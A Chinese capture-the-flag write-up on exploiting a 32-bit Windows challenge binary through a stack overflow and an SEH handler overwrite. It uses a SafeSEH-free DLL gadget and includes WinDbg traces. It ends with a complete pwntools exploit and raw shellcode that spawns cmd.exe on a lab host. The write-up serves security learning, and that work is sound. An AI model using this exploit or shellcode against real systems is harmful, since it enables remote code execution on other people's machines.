分析 题目给的附件有三个文件,一个exe,两个dll
先对exe进行checksec
比较重要的几个
没有栈不可执行
存在(GS)canary
没有地址随机化
ida打开exe分析,程序是32位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 char *sub_401060 () { FILE *v0; const void *v2; char *Buffer; v2 = (const void *)gift(); Buffer = (char *)malloc (0x1000 u); output("your gift: %p\n" , v2); output("give your data:" ); v0 = _acrt_iob_func(0 ); fgets(Buffer, 200 , v0); return overflow(Buffer); } char *__cdecl overflow (char *Source) { char Destination[32 ]; strcpy (Destination, Source); return strcat (Destination, Source); }
可以明显地发现一个溢出漏洞,如果在linux平台下这就是最简单的栈溢出了
但在windows环境下,不太熟悉
尝试 1 2 your gift: 00000009 give your data:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
your gift
没啥用,只是加载了gift.dll
模块
data我们先尝试随便输点东西
结果
1 2 3 4 5 6 7 8 (a7c.3314 ): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0000000 a ebx=002f 5000 ecx=61616161 edx=7 efeff09 esi=005646 c8 edi=0019f f5d eip=762 ec8b1 esp=0019f ed8 ebp=0019f f0c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 ucrtbase!strcat +0x71 : 762 ec8b1 8 a11 mov dl,byte ptr [ecx] ds:002b :61616161 =??
在strcat函数内出错了
1 2 3 4 5 6 7 char *__cdecl overflow (char *Source) { char Destination[32 ]; strcpy (Destination, Source); return strcat (Destination, Source); }
这其中存在栈溢出,一开始还想不太通为啥会出错,然后突然意识到这是32位的程序,参数通过栈传递的,那么溢出就已经把栈中保存的参数给覆盖了
看到程序没有开启NX又没有后门的情况下
第一时间想到的是ret2shellcode,但有两个问题:
没有这样的gadget可供使用
canary的存在
这都是在已有的条件下无法解决的问题
此时就需要利用windows下的SEH机制了,SEH链是保存在栈中的 ,发生异常时,会遍历SEH中的处理函数直到找到可以处理的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 0 :001 > !tebTEB at 002f 8000 ExceptionList: 0019f f60 StackBase: 001 a0000 StackLimit: 0019 d000 SubSystemTib: 00000000 FiberData: 00001e00 ArbitraryUserPointer: 00000000 Self: 002f 8000 EnvironmentPointer: 00000000 ClientId: 00000 a7c . 00003314 RpcHandle: 00000000 Tls Storage: 00564 d30 PEB Address: 002f 5000 LastErrorValue: 0 LastStatusValue: 0 Count Owned Locks: 0 HardErrorMode: 0 0 :001 > dps 0019f f60 l20019f f60 0019f fcc0019f f64 00401b 28 babywin+0x1b28
如果我们溢出到该处那么就可以劫持异常处理流
我们下一个断点看看正常处理下会是怎样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 0 :000 > g(27f 8.323 c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0019000 a ebx=002 d5000 ecx=61616161 edx=7f 17ff09 esi=005746e8 edi=0019f f71 eip=762 ec8b1 esp=0019f ed8 ebp=0019f f0c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 ucrtbase!strcat +0x71 : 762 ec8b1 8 a11 mov dl,byte ptr [ecx] ds:002b :61616161 =??0 :000 > dd esp l100019f ed8 0057b 8d0 0040110 d 0019f ee8 61616161 0019f ee8 61616161 61616161 61616161 61616161 0019f ef8 61616161 61616161 61616161 61616161 0019f f08 61616161 61616161 61616161 61616161 0 :000 > d 0019f ee8 l200019f ee8 61616161 61616161 61616161 61616161 0019f ef8 61616161 61616161 61616161 61616161 0019f f08 61616161 61616161 61616161 61616161 0019f f18 61616161 61616161 61616161 61616161 0019f f28 61616161 61616161 61616161 61616161 0019f f38 61616161 61616161 61616161 61616161 0019f f48 61616161 61616161 61616161 61616161 0019f f58 61616161 61616161 61616161 61616161
异常触发时,此时还是strcat函数的栈
0019fee8
是dst
,61616161
是src
,显然后者不可访问,发生错误
继续跟进异常处理,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0 :000 > gBreakpoint 0 hit eax=00000000 ebx=00000000 ecx=00401b 28 edx=77808 ad0 esi=00000000 edi=00000000 eip=00401b 28 esp=0019f 918 ebp=0019f 938 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 babywin+0x1b28 : 00401b 28 55 push ebp0 :000 > dd esp l200019f 918 77808 ab2 0019f a18 0019f f60 0019f a680019f 928 0019f 9a4 0019f f60 77808 ad0 0019f f600019f 938 0019f a00 77808 a84 0019f a18 0019f f600019f 948 0019f a68 0019f 9a4 00401b 28 0019f f600019f 958 0019f a18 00000000 777e92 ef 0019f a180019f 968 0019f f60 0019f a68 0019f 9a4 00401b 280019f 978 0019f f35 00734588 0019f a18 00000000 0019f 988 0019f a68 0019f f60 00000032 0019 d000
当执行到此处时,栈上会是这样一个状态,我们着重关注esp+8
,发现其正好是当前的ExceptionList
(此时eip就由其handler决定),而且这是一个距离可控栈比较近的地址
所以如果劫持这个handler为pop ?;pop?;ret
那么就可以回到栈上执行shellcode
然后0019ff60
处再写个jmp跳开handler指针,执行shellcode
不过这里还有一个问题,babywin开启了safeseh,所以我们需要找一个没有开启该保护的模块 去找需要的gadget
发现gift.dll
就刚好满足这个条件
而且能够找到不少gadget
1 2 3 4 5 0x271f16ac pop ecx; pop ebp; ret 0x271f1794 pop esi; pop ebp; ret 0x271f19c9 pop esi; pop ebx; ret 0x271f19f5 pop esi; pop ebx; ret 0x271f1a84 pop esi; pop ebp; ret
利用 我们只需要在检查gs之前,触发错误处理
就能够控制执行任意shellcode
先确认一下偏移,由之前的数据可以得知
offset=0x19ff60-0x19fee8=120
偏移确定,现在需要解决如何编写shellcode,不像linux平台下我们可以直接使用syscall来做一些系统级的调用方便getshell或者row
windows的shellcode编写更为复杂一点
不过好在我们可以直接借用某些工具,例如NytroRST/ShellcodeCompiler: Shellcode Compiler (github.com)
1 2 3 4 5 function WinExec ("kernel32.dll" ) ; function ExitProcess ("kernel32.dll" ) ; WinExec("cmd.exe" ,0 ); ExitProcess(0 );
使用.\ShellcodeCompiler_x86.exe -r .\source.txt -o shellcode.bin -a shellcode.asm -p win_x86
导出结果
还要注意需要二次读取足够的shellcode
exp:(不懂为什么只有windbg调试的情况下,才能成功)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import * pop2 = 0x271f16ac context.log_level='debug' context.arch='i386' p = remote("192.168.137.1" ,12978 ) shell = b'1\xc9d\x8bA0\x8b@\x0c\x8bp\x14\xad\x96\xad\x8bX\x10\x8bS<\x01\xda\x8bRx\x01\xda\x8br \x01\xde1\xc9A\xad\x01\xd8\x818GetPu\xf4\x81x\x04rocAu\xeb\x81x\x08ddreu\xe2\x8br$\x01\xdef\x8b\x0cNI\x8br\x1c\x01\xde\x8b\x14\x8e\x01\xda1\xc9SRQharyAhLibrhLoadTS\xff\xd2\x83\xc4\x0cYP1\xc0\xb8xec#P\x83l$\x03#hWinET\xfft$\x14\xffT$\x14\x83\xc4\x08P1\xc0\xb8ess#P\x83l$\x03#hProchExitT\xfft$\x1c\xffT$\x1c\x83\xc4\x0cP1\xc0\xb8exe#P\x83l$\x03#hcmd.T1\xc0P\xfft$\x04\xffT$\x18\x83\xc4\x0c1\xc0P\xffT$\x04' assert (b'\n' not in shell)shellcode = ''' mov ecx,0x01010101 mov eax,0x14121bd /*__acrt_iob_func*/ xor eax,ecx mov ebx,[eax] xor ecx,ecx push ecx call ebx pop ecx push eax mov ecx,0x01010101 /*fgets*/ push ecx xor eax,eax push eax emmm: pop eax test eax,eax jnz read call near ptr emmm read: sub ax,0x3010 push eax mov eax,0x14121c1 xor eax,ecx mov ebx,[eax] call ebx pop ebx jmp ebx ''' shellcode = b'\xb9\x01\x01\x01\x01\xb8\xbd!A\x011\xc8\x8b\x181\xc9Q\xff\xd3YP\xb9\x01\x01\x01\x01Q1\xc0PX\x85\xc0u\x05\xe8\xf6\xff\xff\xfff-\x100P\xb8\xc1!A\x011\xc8\x8b\x18\xff\xd3[\xff\xe3' print (shellcode)assert (b'\n' not in shellcode and b'\x00' not in shellcode)assert (len (shellcode) < 120 )print (shellcode)pause() payload = shellcode.ljust(120 ,b'\xAA' ) + b'\xeb\x86\xAA\xAA' + p32(pop2) + b'cmd.exe' p.sendlineafter(b'data:' ,payload) p.sendline(b'\xcc' + shell) p.interactive()
或者改为
1 shell = b'U\x8b\xec\x83\xec SVW\xc7E\xe8u\x00c\x00\xc7E\xecr\x00t\x00f\xc7E\xfccm\xc6E\xfed\xc7E\xe0systf\xc7E\xe4em\xc6E\xe6\x00d\xa10\x00\x00\x00\x83\xc0\x0c\x8b\x00\x89E\xf8\x8b}\xf8\x83\xc7\x14\x8b\x17;\xd7t8\x8dd$\x00\x8br(\x8dM\xe83\xc0+\xf1\x8d\x9b\x00\x00\x00\x00\x8d\x0cFf\x8bL\r\xe8f;LE\xe8u\x06@\x83\xf8\x04|\xeb\x83\xf8\x04\x0f\x84\x82\x00\x00\x00\x8b\x12;\xd7u\xcc\x8b}\xf8\x8bG<3\xf6\x8b\\8x\x8bD;\x1c\x03\xdf\x03\xc7\x89E\xf0\x8bK \x8bC$\x03\xcf\x03\xc7\x89M\xec\x89E\xf49s\x18vI\x8b\x14\xb1\x8dE\xe0\x03\xd73\xc9+\xd0\x8dd$\x00\x8d\x04\x11\x8aD\x05\xe0:D\r\xe0u\x06A\x83\xf9\x06|\xed\x83\xf9\x06u\x18\x8bM\xf0\x8dE\xfcP\x8bE\xf4\x0f\xb7\x04p\x8b\x04\x81\x03\xc7\xff\xd0\x83\xc4\x04\x8bM\xecF;s\x18r\xb7_^[\x8b\xe5]\xc3\x8bz\x10\xeb\x82'